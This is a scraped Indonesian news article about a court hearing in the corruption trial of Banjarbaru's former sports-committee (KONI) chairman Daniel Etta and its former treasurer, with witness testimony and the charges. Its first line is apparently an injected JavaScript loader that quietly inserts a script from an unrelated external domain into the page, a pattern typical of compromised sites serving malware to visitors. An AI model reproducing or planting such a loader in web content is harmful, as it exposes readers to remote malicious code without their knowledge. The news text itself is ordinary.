(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Sidang Korupsi Dana Hibah KONI Banjarbaru, Hadirkan Lima Saksi Pengurus Cabor


KANALKALIMANTAN.COM, BANJARMASIN – Terdakwa mantan Ketua Komite Olahraga Nasional Indonesia (KONI) Banjarbaru Daniel Etta dan mantan Bendahara, Agustus Tri Wardhani kembali menjalani sidang lanjutan kasus korupsi dana hibah, Kamis (2/3/2023) siang.

Tidak berbeda dari sidang pekan lalu, sejumlah saksi dihadirkan oleh Jaksa Penuntut Umum (JPU) Kejari Banjarbaru untuk menyampaikan keterangan di hadapan majelis hakim yang diketuai I Gede Yuliartha bersama dua anggota.

Saksi yang dihadirkan antara lain mantan Sekretaris KONI Banjarbaru Adi Royan Pratama, sejumlah mantan pengurus cabang olah raga, seperti Aida Yunani, Nur Ifansyah Sugiono, dan satu saksi lain yang diperiksa secara terpisah.

Salah satu saksi, Adi Royan menerangakan jika dirinya pernah menabat sebagai Sekretaris KONI Banjarbaru pada rentang waktu tahun 2015 sampai dengan awal tahun 2018.

 

Baca juga: Raih Untung Tiga Kali Lipat, Gapoktan Kayuh Baimbai Binaan PLN Jadi Perhatian Luar Negeri

Ia mengatakan saat itu posisi jabatan Ketua KONI Banjarbaru masih dipegang oleh almarhum Kamsun sebelum dirinya meninggal dunia, baru kemudian digantikan oleh Daniel Etta pada tahun 2018.

“Kalau ketua umumnya waktu saya almarhum pak Kamsun, sedangkan pak Daniel saat itu masih sebagai wakil ketua,” ungkapnya.

Saksi mantan Sekretaris KONI ini juga dicecar sejumlah pertanyaan oleh majelis hakim, diantaranya terkait mekanisme pembuatan dan pengajuan proposal  masing-masing Cabor KONI Banjarbaru.

Pada tahun 2017, dikatakannya tidak ada verifikasi yang dilakukan KONI Banjarbaru pada masing-masing Cabor yang akan mengajukan proposal kepada Pemerintah Kota Banjarbaru.

Baca juga: Flu Burung Serang Unggas di Kalsel, Kadinkes: Tak Ada Kasus pada Manusia

Proposal yang disusun oleh masing-masing pengurus Cabor disebutkannya langsung diajukan kepada Pemko Banjarbaru melalui Badan Pengelolaan Keuangan dan Aset Daerah (BPKAD).

“Tidak ada verifikasi di KONI, apa yang diusulkan itu yang diajukan ke Pemko Banjarbaru melalui BPKAD waktu itu,” terang saksi yang juga salah satu ASN di lingkungan Pemko Banjarbaru ini.

Selain itu, saksi Adi Royan juga mengungkapkan selain menjabat Sekretaris KONI Banjarbaru, dirinya saat itu juga menjadi salah satu pengurus Cabor biliar.

Dirinya mengatakan, pihaknya mendapatkan anggaran pada saat itu sebesar Rp 40 juta, yang dialokasikan untuk kegiatan training center dan kegiatan lainnya.

“Anggaran Cabor biliar saat itu saya ingat 40 juta,” ungkapnya.

Saat dirinya masih menjabat sebagai Sekretaris KONI, ada kegiatan event Porprov Kalsel di Tanjung, Kabupaten Tabalong pada tahun 2017.

Baca juga: DPMD Kapuas Seleksi Tiga Desa Ikuti Lomba Inovasi Pengembangan dan Penerapan TTG

Diterangkannya, setiap atlet Banjarbaru yang mendapatkan juara pada Porprov 2017 tersebut diberikan penghargaan atau tali asih berupa uang dari KONI Banjarbaru.

Sementara itu, untuk saksi pengurus Cabor lainnya diperiksa secara terpisah dan dibagi dalam beberapa sesi.

Mantan Ketua KONI Banjarbaru Daniel Etta dan Bendahara Agustus Tri Wardhani didakwa melakukan korupsi sebesar Rp658 juta dari dana hibah Pemko Banjarbaru pada tahun 2018 Rp 6,3 miliar.

Keduanya didakwa melanggar Pasal 2 ayat 1 Jo Pasal 18 Undang-undang Nomor 31 Tahun 1999 sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi Jo Pasal 55 Ayat (1) ke-1 KUHP untuk pasal primer.

Sedangkan dakwaan subsidernya, Pasal 3 Jo Pasal 18 Undang-Undang Nomor 31 Tahun 1999 sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi.

Baca juga: Hasilkan Furniture Berkualitas, Warga Binaan Lapas Amuntai Siap Bersaing

Pada sidang kali ini, terdakwa Daniel Etta masih mengikuti persidangan secara daring dari Lapas Banjarbaru. Sedangkan terdakwa Agustina Tri Wardhani mengikuti persidangan secara daring dari Lapas Perempuan Martapura.

Sidang dijadwalkan akan digelar kembali pada Kamis (9/3/2023), dengan agenda masih pemeriksaan saksi dari Jaksa Penuntut Umum. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Al Ghifari

Recent Posts

Begini Penjelasan Disporabudpar Banjarbaru Soal Perizinan Hotel Aeris

KANALKALIMANTAN.COM, BANJARBARU – Sebuah hotel baru di ruas Jalan Panglima Batur Banjarbaru akan melakukan soft… Read More

1 jam ago

Gerilya Politik Lisa Halaby ke Nasdem Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Langkah politik Erna Lisa Halaby mencari partai politik pengusung dalam Pemilihan Wali… Read More

2 jam ago

Tim Wasev Cek Langsung Lokasi TMMD di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana bersama Tim Pengawas… Read More

2 jam ago

Lutung Tersengat Listrik Dievakuasi Warga, Damkar HSU Amankan Satwa Dilindungi

KANALKALIMANTAN.COM, AMUNTAI - Tersengat aliran listrik bertegangan tinggi, seekor satwa dilindungi lutung terkapar berhasil dievakuasi… Read More

3 jam ago

“Pesta Siswa Literasi Digital” di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Teknologi yang saat ini berkembang sangat pesat dan cepat telah membuat perubahan… Read More

4 jam ago

Kontestasi Pilwali Banjarbaru, Golkar Partai Pertama Incaran Lisa Halaby

Lisa Halaby: Saya Siap, Insyaallah Mundur Sebagai ASN Read More

4 jam ago

This website uses cookies.